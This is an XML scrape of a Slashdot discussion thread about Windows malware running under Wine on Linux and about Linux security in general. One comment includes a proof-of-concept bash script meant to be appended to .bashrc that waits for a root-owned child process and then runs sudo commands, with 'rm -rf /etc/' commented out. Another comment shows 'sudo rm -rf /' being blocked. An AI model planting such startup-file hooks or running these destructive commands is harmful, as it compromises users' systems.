If Linux ever wants to go mainstream all the major distros need to adopt a standard that all of them will follow .
Until then have fun getting decent support for anything Linux related .</tokentext>
<sentencetext>Linux has a few issues, and with the rise of virus attacks that target MacOS's (which are Unix Based similar to most Linux Distros) this is even a bigger issue for the linux user.
Why?  because Linux can't get it together completely.
There are dozens of Linux Distros from Googles upcoming Chrome OS to Ubuntu and Redhat.
All this does is make it a pain for anyone to create effective 3rd part software because of all the variations in the Linux Kernel being used.
If Linux ever wants to go mainstream all the major distros need to adopt a standard that all of them will follow.
Until then have fun getting decent support for anything Linux related.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862641</id>
	<title>Re:Wrong</title>
	<author>Anonymous</author>
	<datestamp>1256411700000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>So he could run<br>rm -rf ~/.wine<br>and that'd be all he needs to do?</p></htmltext>
<tokenext>So he could runrm -rf ~ /.wineand that 'd be all he needs to do ?</tokentext>
<sentencetext>So he could runrm -rf ~/.wineand that'd be all he needs to do?</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859201</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860497</id>
	<title>Anonymous Coward</title>
	<author>Anonymous</author>
	<datestamp>1256385180000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>1</modscore>
	<htmltext><p>Simple.</p><p>1. Use a real distribution and read fucking books<br>2. Only use ssh (It can do everything) and lock it down<br>3. iptables takes care of the rest<br>4. You don't need Wine (Who needs MS software anyway?)</p><p>This has been posted because the Washington Post declared that Linux is the safest way to go for online banking. Action - Reaction. The oldest trick in the books.<br>Unix IS proven technology. Microsoft is just soft.</p></htmltext>
<tokenext>Simple.1 .
Use a real distribution and read fucking books2 .
Only use ssh ( It can do everything ) and lock it down3 .
iptables takes care of the rest4 .
You do n't need Wine ( Who needs MS software anyway ?
) This has been posted because the Washington Post declared that Linux is the safest way to go for online banking .
Action - Reaction .
The oldest trick in the books.Unix IS proven technology .
Microsoft is just soft .</tokentext>
<sentencetext>Simple.1.
Use a real distribution and read fucking books2.
Only use ssh (It can do everything) and lock it down3.
iptables takes care of the rest4.
You don't need Wine (Who needs MS software anyway?
)This has been posted because the Washington Post declared that Linux is the safest way to go for online banking.
Action - Reaction.
The oldest trick in the books.Unix IS proven technology.
Microsoft is just soft.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862103</id>
	<title>Re:Linux's distribution model helps though</title>
	<author>donaldm</author>
	<datestamp>1256403120000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Using "sudo" should only be used when delegating certain administration responsibilities to specific people and in the majority of cases should require a user password. When allowing "sudo" privileges a great deal of thought must always be given into what commands are going to be allowed and those commands should always be defined with their fully qualified path. You don't need "sudo" when you know the root password but "With great power comes great responsibility" (sorry could not resist).<br>
<br>
Allowing users using "sudo" to run commands like "cp", "mv" and "rm" to name just a few is just plain stupid and I would suggest the System Admin who allowed that should be forced back to using MS windows<nobr> <wbr></nobr>:).<br>
<br>
Here is a fix that will stop your script cold:<br>
<br> <b>guest $ visudo<br>
visudo:<nobr> <wbr></nobr>/etc/sudoers: Permission denied<br>
visudo:<nobr> <wbr></nobr>/etc/sudoers: Permission denied<br>
<br>
guest $ sudo rm -rf<nobr> <wbr></nobr>/<br>
[sudo] password for guest:<br>
guest is not in the sudoers file.  This incident will be reported.</b> <br> <br>
BTW the "guest" user did put in the correct password.</htmltext>
<tokenext>Using " sudo " should only be used when delegating certain administration responsibilities to specific people and in the majority of cases should require a user password .
When allowing " sudo " privileges a great deal of thought must always be given into what commands are going to be allowed and those commands should always be defined with their fully qualified path .
You do n't need " sudo " when you know the root password but " With great power comes great responsibility " ( sorry could not resist ) .
Allowing users using " sudo " to run commands like " cp " , " mv " and " rm " to name just a few is just plain stupid and I would suggest the System Admin who allowed that should be forced back to using MS windows : ) .
Here is a fix that will stop your script cold : guest $ visudo visudo : /etc/sudoers : Permission denied visudo : /etc/sudoers : Permission denied guest $ sudo rm -rf / [ sudo ] password for guest : guest is not in the sudoers file .
This incident will be reported .
BTW the " guest " user did put in the correct password .</tokentext>
<sentencetext>Using "sudo" should only be used when delegating certain administration responsibilities to specific people and in the majority of cases should require a user password.
When allowing "sudo" privileges a great deal of thought must always be given into what commands are going to be allowed and those commands should always be defined with their fully qualified path.
You don't need "sudo" when you know the root password but "With great power comes great responsibility" (sorry could not resist).
Allowing users using "sudo" to run commands like "cp", "mv" and "rm" to name just a few is just plain stupid and I would suggest the System Admin who allowed that should be forced back to using MS windows :).
Here is a fix that will stop your script cold:
 guest $ visudo
visudo: /etc/sudoers: Permission denied
visudo: /etc/sudoers: Permission denied

guest $ sudo rm -rf /
[sudo] password for guest:
guest is not in the sudoers file.
This incident will be reported.
BTW the "guest" user did put in the correct password.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860069</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860817</id>
	<title>oh please</title>
	<author>Anonymous</author>
	<datestamp>1256388600000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Get off your high horse.  Linux has never been immune to viruses.</p></htmltext>
<tokenext>Get off your high horse .
Linux has never been immune to viruses .</tokentext>
<sentencetext>Get off your high horse.
Linux has never been immune to viruses.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860069</id>
	<title>Re:Linux's distribution model helps though</title>
	<author>buchner.johannes</author>
	<datestamp>1256381700000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>4</modscore>
	<htmltext><p>You, and the majority of Linux users are delusional. You think malware is only executables. A glitch in any software package -- e.g. Firefox or OpenOffice -- would be enough to add a bash script to<nobr> <wbr></nobr>.bashrc (or replace the file). This can download and start all the software it wants, unless you set the<nobr> <wbr></nobr>/home partition noexec.<br>Another attack method would be to append a script to the GNOME startup applications.</p><p>Consider appending the following script to<nobr> <wbr></nobr>.bashrc (no one ever looks in there). Next time you go into your shell and do "sudo su - " or something similar, the script has root privileges (if you use sudo timeouts or no sudo password).<br><tt>#!/bin/bash</tt></p><p><tt>MAXAGE=100</tt></p><p><tt>while sleep 10; do</tt></p><p><tt>
&nbsp; &nbsp; &nbsp; &nbsp; pgrep -f -U 0 -P $PPID,$$ &amp;&amp; {<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # echo parent has a root owned child process<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; id=$(pgrep -f -U 0 -P $PPID,$$ | head -n1)<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # wait $id<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; age=$(($(date +\%s) - $(stat<nobr> <wbr></nobr>/proc/$id/ -c '\%Y')))<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "$age" -lt "$MAXAGE" ]; then<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # echo the child is young<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # evil code here<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sudo touch<nobr> <wbr></nobr>/root/you\_were\_hacked<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # sudo rm -rf<nobr> <wbr></nobr>/etc/<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi<br>
&nbsp; &nbsp; &nbsp; &nbsp; }<br>done &amp;<br></tt></p><p>With 10+ scripting languages on the average Linux install, the attacker has plenty of choices. Linux is only safer if you use a hardened kernel, SELinux, noexec partitions and read-only binary partitions. Crackers are already laughing about the upcoming, unworried lusers that think their OS is invulnerable.</p></htmltext>
<tokenext>You , and the majority of Linux users are delusional .
You think malware is only executables .
A glitch in any software package -- e.g .
Firefox or OpenOffice -- would be enough to add a bash script to .bashrc ( or replace the file ) .
This can download and start all the software it wants , unless you set the /home partition noexec.Another attack method would be to append a script to the GNOME startup applications.Consider appending the following script to .bashrc ( no one ever looks in there ) .
Next time you go into your shell and do " sudo su - " or something similar , the script has root privileges ( if you use sudo timeouts or no sudo password ) . # ! /bin/bashMAXAGE = 100while sleep 10 ; do         pgrep -f -U 0 -P $ PPID , $ $ &amp;&amp; {                 # echo parent has a root owned child process                 id = $ ( pgrep -f -U 0 -P $ PPID , $ $ | head -n1 )                 # wait $ id                 age = $ ( ( $ ( date + \ % s ) - $ ( stat /proc/ $ id/ -c ' \ % Y ' ) ) )                 if [ " $ age " -lt " $ MAXAGE " ] ; then                         # echo the child is young                         # evil code here                         sudo touch /root/you \ _were \ _hacked                         # sudo rm -rf /etc/                 fi         } done &amp;With 10 + scripting languages on the average Linux install , the attacker has plenty of choices .
Linux is only safer if you use a hardened kernel , SELinux , noexec partitions and read-only binary partitions .
Crackers are already laughing about the upcoming , unworried lusers that think their OS is invulnerable .</tokentext>
<sentencetext>You, and the majority of Linux users are delusional.
You think malware is only executables.
A glitch in any software package -- e.g.
Firefox or OpenOffice -- would be enough to add a bash script to .bashrc (or replace the file).
This can download and start all the software it wants, unless you set the /home partition noexec.Another attack method would be to append a script to the GNOME startup applications.Consider appending the following script to .bashrc (no one ever looks in there).
Next time you go into your shell and do "sudo su - " or something similar, the script has root privileges (if you use sudo timeouts or no sudo password).#!/bin/bashMAXAGE=100while sleep 10; do
        pgrep -f -U 0 -P $PPID,$$ &amp;&amp; {
                # echo parent has a root owned child process
                id=$(pgrep -f -U 0 -P $PPID,$$ | head -n1)
                # wait $id
                age=$(($(date +\%s) - $(stat /proc/$id/ -c '\%Y')))
                if [ "$age" -lt "$MAXAGE" ]; then
                        # echo the child is young
                        # evil code here
                        sudo touch /root/you\_were\_hacked
                        # sudo rm -rf /etc/
                fi
        }done &amp;With 10+ scripting languages on the average Linux install, the attacker has plenty of choices.
Linux is only safer if you use a hardened kernel, SELinux, noexec partitions and read-only binary partitions.
Crackers are already laughing about the upcoming, unworried lusers that think their OS is invulnerable.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858475</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29873079</id>
	<title>This has been ongoing for years</title>
	<author>apexwm</author>
	<datestamp>1256575320000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>We've known about this for years.  As others have posted, don't run Wine as root, only run it as your account.  Only map drives in Wine that you absolutely need, and restrict them as much as possible.  I would strongly suggest removing the default drive of Z: which points to / .  As long as we need to use Wine, we'll always have the risk of viruses getting through, it's just the nature of the beast.  Personally I only use Wine for running games and a few apps that I must have that I can't find Linux replacements for.  But overall, it's worth using native GNU/Linux applications wherever possible.  Find a replacement for all apps like Adobe, etc, and enjoy the freedom of open source at the same time.</htmltext>
<tokenext>We 've known about this for years .
As others have posted , do n't run Wine as root , only run it as your account .
Only map drives in Wine that you absolutely need , and restrict them as much as possible .
I would strongly suggest removing the default drive of Z : which points to / .
As long as we need to use Wine , we 'll always have the risk of viruses getting through , it 's just the nature of the beast .
Personally I only use Wine for running games and a few apps that I must have that I ca n't find Linux replacements for .
But overall , it 's worth using native GNU/Linux applications wherever possible .
Find a replacement for all apps like Adobe , etc , and enjoy the freedom of open source at the same time .</tokentext>
<sentencetext>We've known about this for years.
As others have posted, don't run Wine as root, only run it as your account.
Only map drives in Wine that you absolutely need, and restrict them as much as possible.
I would strongly suggest removing the default drive of Z: which points to / .
As long as we need to use Wine, we'll always have the risk of viruses getting through, it's just the nature of the beast.
Personally I only use Wine for running games and a few apps that I must have that I can't find Linux replacements for.
But overall, it's worth using native GNU/Linux applications wherever possible.
Find a replacement for all apps like Adobe, etc, and enjoy the freedom of open source at the same time.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859201</id>
	<title>Wrong</title>
	<author>pablomme</author>
	<datestamp>1256375460000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>2</modscore>
	<htmltext><p>From TFA:</p><p><div class="quote"><p>If it managed to infect the Wine registry well enough that it's run automatically, I will have to go into the Wine registry to remove it manually. Or I could run a couple of simple commands:<br>sudo aptitude purge wine;<br>sudo aptitude install wine;</p></div><p>Wrong. Wine installs stuff in ~/.wine. The above commands don't touch user directories, so he would end up with a fresh system-wide wine installation but the same malware-ridden user config.</p></div>
	</htmltext>
<tokenext>From TFA : If it managed to infect the Wine registry well enough that it 's run automatically , I will have to go into the Wine registry to remove it manually .
Or I could run a couple of simple commands : sudo aptitude purge wine ; sudo aptitude install wine ; Wrong .
Wine installs stuff in ~ /.wine .
The above commands do n't touch user directories , so he would end up with a fresh system-wide wine installation but the same malware-ridden user config .</tokentext>
<sentencetext>From TFA:If it managed to infect the Wine registry well enough that it's run automatically, I will have to go into the Wine registry to remove it manually.
Or I could run a couple of simple commands:sudo aptitude purge wine;sudo aptitude install wine;Wrong.
Wine installs stuff in ~/.wine.
The above commands don't touch user directories, so he would end up with a fresh system-wide wine installation but the same malware-ridden user config.
	</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29880835</id>
	<title>Viruses</title>
	<author>Anonymous</author>
	<datestamp>1256578920000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p> This is a feature! Not a bug! </p></htmltext>
<tokenext>This is a feature !
Not a bug !</tokentext>
<sentencetext> This is a feature!
Not a bug! </sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858455</id>
	<title>Re:marketshare</title>
	<author>sakdoctor</author>
	<datestamp>1256413080000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>5</modscore>
	<htmltext><p><div class="quote"><p>But none of us really want a locked down OS</p></div><p>WTF?<br>Microsoft totally fucked up the <b>principle of least privilege</b> from day one. If they hadn't, the damage done by viruses/worms in the history of personal computing, would have been an order of magnitude less.</p></div>
	</htmltext>
<tokenext>But none of us really want a locked down OSWTF ? Microsoft totally fucked up the principle of least privilege from day one .
If they had n't , the damage done by viruses/worms in the history of personal computing , would have been an order of magnitude less .</tokentext>
<sentencetext>But none of us really want a locked down OSWTF?Microsoft totally fucked up the principle of least privilege from day one.
If they hadn't, the damage done by viruses/worms in the history of personal computing, would have been an order of magnitude less.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858417</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29863011</id>
	<title>Re:</title>
	<author>clint999</author>
	<datestamp>1256463000000</datestamp>
	<modclass>None</modclass>
	<modscore>-1</modscore>
	<htmltext><b>Most malware does not really need root/administrator privileges.It would be trivial to make a keylogger or spam-robot in Linux running from e.g.<nobr> <wbr></nobr>.bashrc. Same for any other OS there is.</b></htmltext>
<tokenext>Most malware does not really need root/administrator privileges.It would be trivial to make a keylogger or spam-robot in Linux running from e.g .
.bashrc. Same for any other OS there is .</tokentext>
<sentencetext>Most malware does not really need root/administrator privileges.It would be trivial to make a keylogger or spam-robot in Linux running from e.g.
.bashrc. Same for any other OS there is.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859147</id>
	<title>Fear the WINE Flu !!!</title>
	<author>Jackie\_Chan\_Fan</author>
	<datestamp>1256375040000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Obama has just declared the WINE Flu a boring and uninteresting, non mainstream worthless distraction from the launch of Windows 7. It runs viruses natively folks!</p><p>Actually Windows 7 is quite good.</p><p>Good luck Bro. -Opie</p></htmltext>
<tokenext>Obama has just declared the WINE Flu a boring and uninteresting , non mainstream worthless distraction from the launch of Windows 7 .
It runs viruses natively folks ! Actually Windows 7 is quite good.Good luck Bro .
-Opie</tokentext>
<sentencetext>Obama has just declared the WINE Flu a boring and uninteresting, non mainstream worthless distraction from the launch of Windows 7.
It runs viruses natively folks!Actually Windows 7 is quite good.Good luck Bro.
-Opie</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859347</id>
	<title>ha, Linux wins yet again!</title>
	<author>Tumbleweed</author>
	<datestamp>1256376600000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>See, Linux \_can\_ do everything Windows can do! A better Windows than Windows...where have I heard that before?</p></htmltext>
<tokenext>See , Linux \ _can \ _ do everything Windows can do !
A better Windows than Windows...where have I heard that before ?</tokentext>
<sentencetext>See, Linux \_can\_ do everything Windows can do!
A better Windows than Windows...where have I heard that before?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859771</id>
	<title>Windows sucks</title>
	<author>Sam36</author>
	<datestamp>1256379420000</datestamp>
	<modclass>Troll</modclass>
	<modscore>-1</modscore>
	<htmltext>Windows sucks you freaking trolls</htmltext>
<tokenext>Windows sucks you freaking trolls</tokentext>
<sentencetext>Windows sucks you freaking trolls</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862465</id>
	<title>Re:Linux's distribution model helps though</title>
	<author>JackieBrown</author>
	<datestamp>1256409060000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>linux programs can be installed without root access to the users home.  As far as hijacking a domain, unless they manage to sign all their packages the same as the Debian ones, it wouldn't really matter.</p><p>While I would not be happy if I installed a program that deleted or destroyed all my personal files, I at least know that my brother or wife installing a destructive program on their user won't destroy my files.</p></htmltext>
<tokenext>linux programs can be installed without root access to the users home .
As far as hijacking a domain , unless they manage to sign all their packages the same as the Debian ones , it would n't really matter.While I would not be happy if I installed a program that deleted or destroyed all my personal files , I at least know that my brother or wife installing a destructive program on their user wo n't destroy my files .</tokentext>
<sentencetext>linux programs can be installed without root access to the users home.
As far as hijacking a domain, unless they manage to sign all their packages the same as the Debian ones, it wouldn't really matter.While I would not be happy if I installed a program that deleted or destroyed all my personal files, I at least know that my brother or wife installing a destructive program on their user won't destroy my files.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860899</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859547</id>
	<title>All we need now...</title>
	<author>Anonymous</author>
	<datestamp>1256378040000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>All we need now is for Norton Internet Security to run under WINE and things will be just fine.</p></htmltext>
<tokenext>All we need now is for Norton Internet Security to run under WINE and things will be just fine .</tokentext>
<sentencetext>All we need now is for Norton Internet Security to run under WINE and things will be just fine.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859471</id>
	<title>ReactOS</title>
	<author>Anonymous</author>
	<datestamp>1256377440000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>So there is (or more aptly was) an attempt to make a FOSS windows 95 called ReactOS. It shares some of it's codebase with wine - anyway, while incredibly bored at work I installed it to a virtual machine, and tried to infect it with a slew of malicious files from vx.netlux.org.</p><p>The longest I could keep any malware running was around 10 minutes, 2-3 seconds was more of a typical running time.</p><p>It was a great way of killing 2 hours.</p></htmltext>
<tokenext>So there is ( or more aptly was ) an attempt to make a FOSS windows 95 called ReactOS .
It shares some of it 's codebase with wine - anyway , while incredibly bored at work I installed it to a virtual machine , and tried to infect it with a slew of malicious files from vx.netlux.org.The longest I could keep any malware running was around 10 minutes , 2-3 seconds was more of a typical running time.It was a great way of killing 2 hours .</tokentext>
<sentencetext>So there is (or more aptly was) an attempt to make a FOSS windows 95 called ReactOS.
It shares some of it's codebase with wine - anyway, while incredibly bored at work I installed it to a virtual machine, and tried to infect it with a slew of malicious files from vx.netlux.org.The longest I could keep any malware running was around 10 minutes, 2-3 seconds was more of a typical running time.It was a great way of killing 2 hours.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859767</id>
	<title>Well.</title>
	<author>UbuntuniX</author>
	<datestamp>1256379420000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Who could have possibly seen this coming?</htmltext>
<tokenext>Who could have possibly seen this coming ?</tokentext>
<sentencetext>Who could have possibly seen this coming?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860881</id>
	<title>Re:Linux's distribution model helps though</title>
	<author>Anonymous</author>
	<datestamp>1256389080000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>What makes you think I have sudo installed? For that matter, I *do* know what is in my<nobr> <wbr></nobr>.bashrc. I better darn well know that stuff.... anything that is going to start a shell instance is going to get my attention, or a log file.</htmltext>
<tokenext>What makes you think I have sudo installed ?
For that matter , I * do * know what is in my .bashrc .
I better darn well know that stuff.... anything that is going to start a shell instance is going to get my attention , or a log file .</tokentext>
<sentencetext>What makes you think I have sudo installed?
For that matter, I *do* know what is in my .bashrc.
I better darn well know that stuff.... anything that is going to start a shell instance is going to get my attention, or a log file.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860069</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859743</id>
	<title>Wait</title>
	<author>Anonymous</author>
	<datestamp>1256379180000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>So if you have wine installed it randomly installs Windows Vista?</p></htmltext>
<tokenext>So if you have wine installed it randomly installs Windows Vista ?</tokentext>
<sentencetext>So if you have wine installed it randomly installs Windows Vista?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860693</id>
	<title>Re:Linux's distribution model helps though</title>
	<author>Anonymous</author>
	<datestamp>1256387160000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>I download a lot of stuff and often want to use programs that aren't (yet) in Debian's repository.  So I download a tarball from a random website, extract,<nobr> <wbr></nobr>./configure &amp;&amp; make &amp;&amp; sudo make install.  The package has full root access at the time of installation.  I suspect I'm not out of the ordinary in doing this.</p><p>That said, the only reason I do this is that the chances of finding a malicious package are slim to none.  If malware became more common on Linux, it would be relatively easy to fall back on the secure systems that already exist.  This problem is also much less likely to occur on a server where you usually don't want experimental/unstable software anyway.</p></htmltext>
<tokenext>I download a lot of stuff and often want to use programs that are n't ( yet ) in Debian 's repository .
So I download a tarball from a random website , extract , ./configure &amp;&amp; make &amp;&amp; sudo make install .
The package has full root access at the time of installation .
I suspect I 'm not out of the ordinary in doing this.That said , the only reason I do this is that the chances of finding a malicious package are slim to none .
If malware became more common on Linux , it would be relatively easy to fall back on the secure systems that already exist .
This problem is also much less likely to occur on a server where you usually do n't want experimental/unstable software anyway .</tokentext>
<sentencetext>I download a lot of stuff and often want to use programs that aren't (yet) in Debian's repository.
So I download a tarball from a random website, extract, ./configure &amp;&amp; make &amp;&amp; sudo make install.
The package has full root access at the time of installation.
I suspect I'm not out of the ordinary in doing this.That said, the only reason I do this is that the chances of finding a malicious package are slim to none.
If malware became more common on Linux, it would be relatively easy to fall back on the secure systems that already exist.
This problem is also much less likely to occur on a server where you usually don't want experimental/unstable software anyway.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858475</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862603</id>
	<title>sWine Flue</title>
	<author>jdc18</author>
	<datestamp>1256410980000</datestamp>
	<modclass>Funny</modclass>
	<modscore>2</modscore>
	<htmltext>lets call it swine flue.  Oh wait the name is taken</htmltext>
<tokenext>lets call it swine flue .
Oh wait the name is taken</tokentext>
<sentencetext>lets call it swine flue.
Oh wait the name is taken</sentencetext>
</comment>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_10_24_1759213_2</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858455
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858417
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_10_24_1759213_6</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860611
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858475
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858417
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_10_24_1759213_0</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860693
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858475
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858417
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_10_24_1759213_3</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860881
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860069
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858475
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858417
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_10_24_1759213_4</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29865809
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860497
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_10_24_1759213_1</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862641
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859201
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_10_24_1759213_8</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862465
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860899
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858475
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858417
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_10_24_1759213_7</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862447
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860069
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858475
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858417
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_10_24_1759213_10</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29865247
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860899
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858475
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858417
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_10_24_1759213_5</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29861317
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29859201
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_10_24_1759213_9</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29862103
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29860069
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858475
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_10_24_1759213.29858417
</commentlist>
</thread>
<conversation>
